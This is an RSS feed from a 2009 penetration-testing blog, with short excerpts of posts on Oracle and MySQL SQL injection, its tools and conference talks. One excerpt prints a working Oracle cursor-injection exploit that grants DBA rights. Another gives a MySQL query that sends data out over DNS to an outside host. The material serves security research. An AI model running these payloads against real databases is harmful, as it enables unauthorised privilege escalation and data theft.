<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>www.notsosecure.com</title>
	
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<pubDate>Thu, 02 Jul 2009 12:37:17 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/notsosecure" type="application/rss+xml" /><item>
		<title>Oracle SYS.LT.COMPRESSWORKSPACETREE Exploit</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/ACV_EEEttzA/</link>
		<comments>http://www.notsosecure.com/folder2/2009/07/02/oracle-sysltcompressworkspacetree-exploit/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 12:27:18 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=240</guid>
		<description><![CDATA[This is slightly modified version of: http://milw0rm.com/exploits/7677
This is based on cursor injection and here you do not need create function privileges:
text file
&#8212;&#8212;
DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,&#8217;declare pragma autonomous_transaction; begin execute immediate &#8221;grant dba to scott&#8221;;commit;end;&#8217;,0);
SYS.LT.CREATEWORKSPACE(&#8217;a&#8221;and dbms_sql.execute(&#8217;&#124;&#124;D&#124;&#124;&#8217;)=1&#8211;&#8217;);
SYS.LT.COMPRESSWORKSPACETREE(&#8217;a&#8221;and dbms_sql.execute(&#8217;&#124;&#124;D&#124;&#124;&#8217;)=1&#8211;&#8217;);
end;
#&#8212;&#8212;&#8212;&#8211;screen dump&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;#
SQL> select * from user_role_privs;
USERNAME               [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/07/02/oracle-sysltcompressworkspacetree-exploit/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/07/02/oracle-sysltcompressworkspacetree-exploit/</feedburner:origLink></item>
		<item>
		<title>Defcon 17: See you there</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/LlWNB0Bwcxo/</link>
		<comments>http://www.notsosecure.com/folder2/2009/06/25/defcon-17-see-you-there/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 10:37:39 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=238</guid>
		<description><![CDATA[I will be giving a talk at Defcon this year. The Talk is about attacking Oracle databases from web applications. A small write-up on the talk can be found here. 

Remember the SQL Injection worm which targeted the applications with MS-SQL server.  I will demonstrate a proof-of-concept of how this can be achieved against [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/06/25/defcon-17-see-you-there/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/06/25/defcon-17-see-you-there/</feedburner:origLink></item>
		<item>
		<title>Bsqlbf v 2.3 With Enhanced Oracle Exploitation</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/Q06pSZ-3Qbg/</link>
		<comments>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/#comments</comments>
		<pubDate>Fri, 22 May 2009 17:58:04 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools for Wep App Testing]]></category>

		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=219</guid>
		<description><![CDATA[A new version of bsqlbf is now available. The following are the new additions:

-------------------
 -type:        Type of injection:

        3:      Type 3  is extracting data with DBA privileges
         [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/</feedburner:origLink></item>
		<item>
		<title>More On Oracle O.S command execution</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/wIFlOimFvQQ/</link>
		<comments>http://www.notsosecure.com/folder2/2009/05/01/more-on-oracle-os-command-execution/#comments</comments>
		<pubDate>Fri, 01 May 2009 09:36:36 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=216</guid>
		<description><![CDATA[I wrote a small perl script to automate this process. The script &#8216;ora_cmd_exec.pl&#8217; exploits web based SQL Injections and execute O.S commands on the Oracle host. 
./ora_cmd_exec.pl
 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
Oracle command execution via web apps
sid-at-NotSoSecure // www.notsosecure.com
suported versions ]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/05/01/more-on-oracle-os-command-execution/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/05/01/more-on-oracle-os-command-execution/</feedburner:origLink></item>
		<item>
		<title>Oracle O.S command execution through web apps</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/_APWddWef8c/</link>
		<comments>http://www.notsosecure.com/folder2/2009/04/27/oracle-os-command-execution-through-web-apps/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 10:26:12 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=211</guid>
		<description><![CDATA[I finally managed to get this working. Just followed the instructions on the website:
http://sec.hebei.com.cn/bbs_topic.do?forumID=18&#038;postID=4275&#038;replyID=0&#038;skin=1
&#038;saveSkin=true&#038;pages=0&#038;replyNum=
These are the 5 steps:
1. create java class
2. give execute permissions on java
3. create function to run cmd
4. grant execute on function to public
5. run the command.
I have copied all the long SQL commands in a text file to make things easier.
An [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/04/27/oracle-os-command-execution-through-web-apps/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/04/27/oracle-os-command-execution-through-web-apps/</feedburner:origLink></item>
		<item>
		<title>Oracle privilege escalations from web app</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/3vOQfMjFgxU/</link>
		<comments>http://www.notsosecure.com/folder2/2009/04/26/oracle-privilege-escalations-from-web-app/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 15:46:51 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=203</guid>
		<description><![CDATA[There are a number of privilege escalation attacks known for oracle. These are mainly because by default PL/SQL procedures and functions run with the privilege of the definer and not that of invoker. Think of it like SUID files.
Now, for some reason i was under the impression that these privilege escalations will not be possible [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/04/26/oracle-privilege-escalations-from-web-app/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/04/26/oracle-privilege-escalations-from-web-app/</feedburner:origLink></item>
		<item>
		<title>Troopers 09</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/WEdLwwsy9ZA/</link>
		<comments>http://www.notsosecure.com/folder2/2009/04/24/troopers-09/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 11:50:15 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=201</guid>
		<description><![CDATA[I attended troopers 09 in munich and it was a wonderful event. There were some very interesting talks. With regards to web application security, Sandro Gauci &#038; Wendel Guglielmetti Henrique gave a talk on Web Application Firewalls. They also demoed a tool which could passively fingerprint around 10 different WAF. The detection is based on [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/04/24/troopers-09/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/04/24/troopers-09/</feedburner:origLink></item>
		<item>
		<title>Slides From OWASP Au 2009</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/EDCoi3eS3R0/</link>
		<comments>http://www.notsosecure.com/folder2/2009/03/19/slides-from-owasp-au-2009/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 13:35:49 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=197</guid>
		<description><![CDATA[Here are my slides from OWASP AU 2009.
Owasp Au Rev4
View more presentations from sumsid1234.

Send Comments/feedbacks at sid&#8211;at&#8211;notsosecure.com
]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/03/19/slides-from-owasp-au-2009/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/03/19/slides-from-owasp-au-2009/</feedburner:origLink></item>
		<item>
		<title>Bsqlbf v2.2</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/kwRCx2xBVew/</link>
		<comments>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 15:24:33 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=190</guid>
		<description><![CDATA[I finally managed to fix a few bugs and release a new version. Other than the bug fixing, the new version also supports blind sql injection in &#8220;order by&#8221;, &#8220;group by&#8221; clause.

There are currently a few issues with threaded perl. I have tested this under windows using activeperl. As always, any bug report is highly [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/</feedburner:origLink></item>
		<item>
		<title>My SQL Exfiltrating Data Over Out Of Band Channels(OOB)</title>
		<link>http://feedproxy.google.com/~r/notsosecure/~3/4wr1ec-ffcM/</link>
		<comments>http://www.notsosecure.com/folder2/2009/02/13/my-sql-exfiltrating-data-over-out-of-band-channelsoob/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 05:33:10 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=180</guid>
		<description><![CDATA[Exfiltrating data over DNS is nowadays a very popular technique. This technique has been well documented for MS-SQL and Oracle databases. I figured out that it is also possible to do the same under  Mysql Windows installation.
Here&#8217;s how:
select load_file(concat(&#8217;\\\\foo.&#8217;,(select &#8216;test&#8217;),&#8217;.notsosecure.com\\&#8217;,'a.txt&#8217;));
This query will do a dns lookup for foo.test.notsosecure.com. You need FILE privileges to call [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2009/02/13/my-sql-exfiltrating-data-over-out-of-band-channelsoob/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.notsosecure.com/folder2/2009/02/13/my-sql-exfiltrating-data-over-out-of-band-channelsoob/</feedburner:origLink></item>
	</channel>
</rss>
